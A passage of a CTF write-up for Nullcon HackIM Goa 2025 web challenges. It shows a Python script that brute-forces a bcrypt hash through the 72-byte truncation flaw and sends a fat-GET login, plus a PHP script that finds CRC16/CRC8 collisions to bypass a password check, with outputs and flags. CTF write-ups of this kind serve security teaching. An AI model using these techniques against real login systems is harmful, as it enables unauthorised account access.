</span></span><span class="line"><span class="cl"><span class="n">ADMIN_PW_HASH</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;$2b$12$8bMrI6D9TMYXeMv8pq8RjemsZg.HekhkQUqLymBic/cRhiKRa3YPK&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">fixed_salt</span> <span class="o">=</span> <span class="n">ADMIN_PW_HASH</span><span class="p">[:</span><span class="mi">29</span><span class="p">]</span>  <span class="c1"># Cost factor[&#34;$2b$12$&#34; - length(7)] + Salt [16 bytes which is then hashed, resulting in a 22-character string] = b&#39;$2b$12$8bMrI6D9TMYXeMv8pq8Rje&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">value</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">byte_value</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">value</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="n">password</span> <span class="o">=</span> <span class="n">admin_password</span> <span class="o">+</span> <span class="n">byte_value</span>
</span></span><span class="line"><span class="cl">    <span class="n">hashed_password</span> <span class="o">=</span> <span class="n">bcrypt</span><span class="o">.</span><span class="n">hashpw</span><span class="p">(</span><span class="n">password</span><span class="p">,</span> <span class="n">fixed_salt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">hashed_password</span> <span class="o">==</span> <span class="n">ADMIN_PW_HASH</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;password found:&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">password</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span>
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">┌──PS<span class="o">(</span>Aftab@Sama<span class="o">)</span>-<span class="o">[</span>~<span class="se">\D</span>ownloads<span class="se">\N</span>ullcon HackIM CTF Goa 2025<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ python Bfail.py
</span></span><span class="line"><span class="cl">password found:
</span></span><span class="line"><span class="cl">b<span class="s1">&#39;\xec\x9f\xe0a\x978\xfc\xb6:T\xe2\xa0\xc9&lt;\x9e\x1a\xa5\xfao\xb2\x15\x86\xe5$\x86Z\x1a\xd4\xca#\x15\xd2x\xa0\x0e0\xca\xbc\x89T\xc5V6\xf1\xa4\xa8S\x8a%I\xd8gI\x15\xe9\xe7$M\x15\xdc@\xa9\xa1@\x9c\xeee\xe0\xe0\xf76\xaa&#39;</span>
</span></span></code></pre></div><p>we got the password but the login request is still giving errors.</p>
<p>looking at the code we can see that it is checking for password and username parameters in request body but it is only accepting the GET requests.</p>
<p><img alt="bfail-5.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/bfail-5.png"></p>
<p>we can pass the username and password in body of GET request (fat GET request).</p>
<p>Python Code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">urllib</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">admin_password</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\xec\x9f\xe0</span><span class="s2">a</span><span class="se">\x97</span><span class="s2">8</span><span class="se">\xfc\xb6</span><span class="s2">:T</span><span class="se">\xe2\xa0\xc9</span><span class="s2">&lt;</span><span class="se">\x9e\x1a\xa5\xfa</span><span class="s2">o</span><span class="se">\xb2\x15\x86\xe5</span><span class="s2">$</span><span class="se">\x86</span><span class="s2">Z</span><span class="se">\x1a\xd4\xca</span><span class="s2">#</span><span class="se">\x15\xd2</span><span class="s2">x</span><span class="se">\xa0\x0e</span><span class="s2">0</span><span class="se">\xca\xbc\x89</span><span class="s2">T</span><span class="se">\xc5</span><span class="s2">V6</span><span class="se">\xf1\xa4\xa8</span><span class="s2">S</span><span class="se">\x8a</span><span class="s2">%I</span><span class="se">\xd8</span><span class="s2">gI</span><span class="se">\x15\xe9\xe7</span><span class="s2">$M</span><span class="se">\x15\xdc</span><span class="s2">@</span><span class="se">\xa9\xa1</span><span class="s2">@</span><span class="se">\x9c\xee</span><span class="s2">e</span><span class="se">\xe0\xe0\xf7</span><span class="s2">6</span><span class="se">\xaa</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">encoded_data</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">parse</span><span class="o">.</span><span class="n">quote_from_bytes</span><span class="p">(</span><span class="n">admin_password</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;username=admin&amp;password=</span><span class="si">{</span><span class="n">encoded_data</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="sa">f</span><span class="s2">&#34;http://52.59.124.14:5013/&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">data</span><span class="o">=</span><span class="n">payload</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s2">&#34;Content-Type&#34;</span><span class="p">:</span> <span class="s2">&#34;application/x-www-form-urlencoded&#34;</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span><span class="o">.</span><span class="n">content</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">┌──PS<span class="o">(</span>Aftab@Sama<span class="o">)</span>-<span class="o">[</span>~<span class="se">\D</span>ownloads<span class="se">\N</span>ullcon HackIM CTF Goa 2025<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ python Bfail.py
</span></span><span class="line"><span class="cl">b<span class="s2">&#34;Congrats! It appears you have successfully bf&#39;ed the password. Here is your ENO{BCRYPT_FAILS_TO_B_COOL_IF_THE_PW_IS_TOO_LONG}&#34;</span>
</span></span></code></pre></div><p>Flag: <code>ENO{BCRYPT_FAILS_TO_B_COOL_IF_THE_PW_IS_TOO_LONG}</code></p>
<hr>
<h3 id="crahp">Crahp</h3>
<p><strong>Description:</strong> <em>Oh Crahp, I forgot my credentials! Can you login nontheless?</em> <br>
<strong>URL:</strong> <code>http://52.59.124.14:5006/</code></p>
<p><img alt="crahp-1.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/crahp-1.png"></p>
<p>In the source code we can see that we need to satisfy 3 conditions to get the flag:</p>
<ol>
<li>password length should be 15 characters.</li>
<li>password should not be equal to &ldquo;AdM1nP@assW0rd!&rdquo;.</li>
<li><code>crc16</code> and <code>crc8</code> of our password should match the <code>crc16</code> and <code>crc8</code> of <code>AdM1nP@assW0rd!</code>.</li>
</ol>
<p><img alt="crahp-2.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/crahp-2.png"></p>
<p><code>crc8</code> and <code>crc16</code> are very small length, so multiple inputs have high chances of having the same <code>crc</code> hash and can be brute forced easily.</p>
<p>PHP code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;source&#39;</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">highlight_file</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// https://www.php.net/manual/en/function.crc32.php#28012
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">function</span> <span class="nf">crc16</span><span class="p">(</span><span class="nv">$string</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">$crc</span> <span class="o">=</span> <span class="mh">0xFFFF</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="nv">$x</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$x</span> <span class="o">&lt;</span> <span class="nx">strlen</span> <span class="p">(</span><span class="nv">$string</span><span class="p">);</span> <span class="nv">$x</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$crc</span> <span class="o">=</span> <span class="nv">$crc</span> <span class="o">^</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$string</span><span class="p">[</span><span class="nv">$x</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="nv">$y</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$y</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="nv">$y</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">((</span><span class="nv">$crc</span> <span class="o">&amp;</span> <span class="mh">0x0001</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x0001</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$crc</span> <span class="o">=</span> <span class="p">((</span><span class="nv">$crc</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0xA001</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nv">$crc</span> <span class="o">=</span> <span class="nv">$crc</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nv">$crc</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// https://stackoverflow.com/questions/507041/crc8-check-in-php/73305496#73305496
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">function</span> <span class="nf">crc8</span><span class="p">(</span><span class="nv">$input</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nv">$crc8Table</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x0E</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1C</span><span class="p">,</span> <span class="mh">0x1B</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x15</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x3F</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x2A</span><span class="p">,</span> <span class="mh">0x2D</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x7E</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x6C</span><span class="p">,</span> <span class="mh">0x6B</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x4F</span><span class="p">,</span> <span class="mh">0x46</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x5A</span><span class="p">,</span> <span class="mh">0x5D</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xE0</span><span class="p">,</span> <span class="mh">0xE7</span><span class="p">,</span> <span class="mh">0xEE</span><span class="p">,</span> <span class="mh">0xE9</span><span class="p">,</span> <span class="mh">0xFC</span><span class="p">,</span> <span class="mh">0xFB</span><span class="p">,</span> <span class="mh">0xF2</span><span class="p">,</span> <span class="mh">0xF5</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xD8</span><span class="p">,</span> <span class="mh">0xDF</span><span class="p">,</span> <span class="mh">0xD6</span><span class="p">,</span> <span class="mh">0xD1</span><span class="p">,</span> <span class="mh">0xC4</span><span class="p">,</span> <span class="mh">0xC3</span><span class="p">,</span> <span class="mh">0xCA</span><span class="p">,</span> <span class="mh">0xCD</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x90</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x9E</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0x8C</span><span class="p">,</span> <span class="mh">0x8B</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xA8</span><span class="p">,</span> <span class="mh">0xAF</span><span class="p">,</span> <span class="mh">0xA6</span><span class="p">,</span> <span class="mh">0xA1</span><span class="p">,</span> <span class="mh">0xB4</span><span class="p">,</span> <span class="mh">0xB3</span><span class="p">,</span> <span class="mh">0xBA</span><span class="p">,</span> <span class="mh">0xBD</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xC7</span><span class="p">,</span> <span class="mh">0xC0</span><span class="p">,</span> <span class="mh">0xC9</span><span class="p">,</span> <span class="mh">0xCE</span><span class="p">,</span> <span class="mh">0xDB</span><span class="p">,</span> <span class="mh">0xDC</span><span class="p">,</span> <span class="mh">0xD5</span><span class="p">,</span> <span class="mh">0xD2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xF8</span><span class="p">,</span> <span class="mh">0xF1</span><span class="p">,</span> <span class="mh">0xF6</span><span class="p">,</span> <span class="mh">0xE3</span><span class="p">,</span> <span class="mh">0xE4</span><span class="p">,</span> <span class="mh">0xED</span><span class="p">,</span> <span class="mh">0xEA</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xB7</span><span class="p">,</span> <span class="mh">0xB0</span><span class="p">,</span> <span class="mh">0xB9</span><span class="p">,</span> <span class="mh">0xBE</span><span class="p">,</span> <span class="mh">0xAB</span><span class="p">,</span> <span class="mh">0xAC</span><span class="p">,</span> <span class="mh">0xA5</span><span class="p">,</span> <span class="mh">0xA2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x8F</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x9D</span><span class="p">,</span> <span class="mh">0x9A</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x29</span><span class="p">,</span> <span class="mh">0x2E</span><span class="p">,</span> <span class="mh">0x3B</span><span class="p">,</span> <span class="mh">0x3C</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x1F</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x0D</span><span class="p">,</span> <span class="mh">0x0A</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0x5E</span><span class="p">,</span> <span class="mh">0x4B</span><span class="p">,</span> <span class="mh">0x4C</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x42</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x6F</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x7D</span><span class="p">,</span> <span class="mh">0x7A</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x8E</span><span class="p">,</span> <span class="mh">0x87</span><span class="p">,</span> <span class="mh">0x80</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9B</span><span class="p">,</span> <span class="mh">0x9C</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xB1</span><span class="p">,</span> <span class="mh">0xB6</span><span class="p">,</span> <span class="mh">0xBF</span><span class="p">,</span> <span class="mh">0xB8</span><span class="p">,</span> <span class="mh">0xAD</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xA3</span><span class="p">,</span> <span class="mh">0xA4</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xF9</span><span class="p">,</span> <span class="mh">0xFE</span><span class="p">,</span> <span class="mh">0xF7</span><span class="p">,</span> <span class="mh">0xF0</span><span class="p">,</span> <span class="mh">0xE5</span><span class="p">,</span> <span class="mh">0xE2</span><span class="p">,</span> <span class="mh">0xEB</span><span class="p">,</span> <span class="mh">0xEC</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xC1</span><span class="p">,</span> <span class="mh">0xC6</span><span class="p">,</span> <span class="mh">0xCF</span><span class="p">,</span> <span class="mh">0xC8</span><span class="p">,</span> <span class="mh">0xDD</span><span class="p">,</span> <span class="mh">0xDA</span><span class="p">,</span> <span class="mh">0xD3</span><span class="p">,</span> <span class="mh">0xD4</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x6E</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x72</span><span class="p">,</span> <span class="mh">0x7B</span><span class="p">,</span> <span class="mh">0x7C</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0x5F</span><span class="p">,</span> <span class="mh">0x58</span><span class="p">,</span> <span class="mh">0x4D</span><span class="p">,</span> <span class="mh">0x4A</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x1E</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x0B</span><span class="p">,</span> <span class="mh">0x0C</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x2F</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">,</span> <span class="mh">0x3D</span><span class="p">,</span> <span class="mh">0x3A</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x4E</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x47</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x5C</span><span class="p">,</span> <span class="mh">0x5B</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x76</span><span class="p">,</span> <span class="mh">0x71</span><span class="p">,</span> <span class="mh">0x78</span><span class="p">,</span> <span class="mh">0x7F</span><span class="p">,</span> <span class="mh">0x6A</span><span class="p">,</span> <span class="mh">0x6D</span><span class="p">,</span> <span class="mh">0x64</span><span class="p">,</span> <span class="mh">0x63</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x3E</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x22</span><span class="p">,</span> <span class="mh">0x25</span><span class="p">,</span> <span class="mh">0x2C</span><span class="p">,</span> <span class="mh">0x2B</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x0F</span><span class="p">,</span> <span class="mh">0x1A</span><span class="p">,</span> <span class="mh">0x1D</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xAE</span><span class="p">,</span> <span class="mh">0xA9</span><span class="p">,</span> <span class="mh">0xA0</span><span class="p">,</span> <span class="mh">0xA7</span><span class="p">,</span> <span class="mh">0xB2</span><span class="p">,</span> <span class="mh">0xB5</span><span class="p">,</span> <span class="mh">0xBC</span><span class="p">,</span> <span class="mh">0xBB</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x96</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x98</span><span class="p">,</span> <span class="mh">0x9F</span><span class="p">,</span> <span class="mh">0x8A</span><span class="p">,</span> <span class="mh">0x8D</span><span class="p">,</span> <span class="mh">0x84</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xDE</span><span class="p">,</span> <span class="mh">0xD9</span><span class="p">,</span> <span class="mh">0xD0</span><span class="p">,</span> <span class="mh">0xD7</span><span class="p">,</span> <span class="mh">0xC2</span><span class="p">,</span> <span class="mh">0xC5</span><span class="p">,</span> <span class="mh">0xCC</span><span class="p">,</span> <span class="mh">0xCB</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xE6</span><span class="p">,</span> <span class="mh">0xE1</span><span class="p">,</span> <span class="mh">0xE8</span><span class="p">,</span> <span class="mh">0xEF</span><span class="p">,</span> <span class="mh">0xFA</span><span class="p">,</span> <span class="mh">0xFD</span><span class="p">,</span> <span class="mh">0xF4</span><span class="p">,</span> <span class="mh">0xF3</span>
</span></span><span class="line"><span class="cl"><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nv">$byteArray</span> <span class="o">=</span> <span class="nx">unpack</span><span class="p">(</span><span class="s1">&#39;C*&#39;</span><span class="p">,</span> <span class="nv">$input</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$len</span> <span class="o">=</span> <span class="nx">count</span><span class="p">(</span><span class="nv">$byteArray</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$crc</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;=</span> <span class="nv">$len</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$crc</span> <span class="o">=</span> <span class="nv">$crc8Table</span><span class="p">[(</span><span class="nv">$crc</span> <span class="o">^</span> <span class="nv">$byteArray</span><span class="p">[</span><span class="nv">$i</span><span class="p">])</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$crc</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$MYPASSWORD</span> <span class="o">=</span> <span class="s2">&#34;AdM1nP@assW0rd!&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$pwhash1</span> <span class="o">=</span> <span class="nx">crc16</span><span class="p">(</span><span class="nv">$MYPASSWORD</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nv">$pwhash2</span> <span class="o">=</span> <span class="nx">crc8</span><span class="p">(</span><span class="nv">$MYPASSWORD</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">echo</span> <span class="s2">&#34;crc16 = </span><span class="si">$pwhash1</span><span class="s2"> </span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">echo</span> <span class="s2">&#34;crc8 = </span><span class="si">$pwhash2</span><span class="s2"> </span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$number</span> <span class="o">=</span> <span class="mi">100000000000000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="p">(</span><span class="k">true</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$combination</span> <span class="o">=</span> <span class="nx">strval</span><span class="p">(</span><span class="nv">$number</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">crc16</span><span class="p">(</span><span class="nv">$combination</span><span class="p">)</span> <span class="o">===</span> <span class="nv">$pwhash1</span> <span class="o">&amp;&amp;</span> <span class="nx">crc8</span><span class="p">(</span><span class="nv">$combination</span><span class="p">)</span> <span class="o">===</span> <span class="nv">$pwhash2</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">echo</span> <span class="s2">&#34;Match found: </span><span class="si">$combination\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$found</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$number</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">┌──PS<span class="o">(</span>Aftab@Sama<span class="o">)</span>-<span class="o">[</span>~<span class="se">\D</span>ownloads<span class="se">\N</span>ullcon HackIM CTF Goa 2025<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ php craph.php
</span></span><span class="line"><span class="cl"><span class="nv">crc16</span> <span class="o">=</span> <span class="m">25010</span>
</span></span><span class="line"><span class="cl"><span class="nv">crc8</span> <span class="o">=</span> <span class="m">167</span>
</span></span><span class="line"><span class="cl">Match found: <span class="m">100000010130312</span>
</span></span></code></pre></div><p><img alt="crahp-3.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/crahp-3.png"></p>
<p>Flag: <code>ENO{Cr4hP_CRC_Collison_1N_P@ssw0rds!}</code></p>
<hr>
<h3 id="numberizer">Numberizer</h3>
<p><strong>Description:</strong> <em>Are you good with numbers?</em> <br>
<strong>URL:</strong> <code>http://52.59.124.14:5004/</code></p>
<p><img alt="numberizer-1.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/numberizer-1.png"></p>
<p>To get the flag we need to satisfy the following conditions:</p>
<ul>
<li>Input should be a number.</li>
<li>we send 5 numbers.</li>
<li>The number should not be negative.</li>
<li>length of each input should not be greater than 4.</li>
<li>to get the flag total sum of all numbers should be less than 0.</li>
</ul>
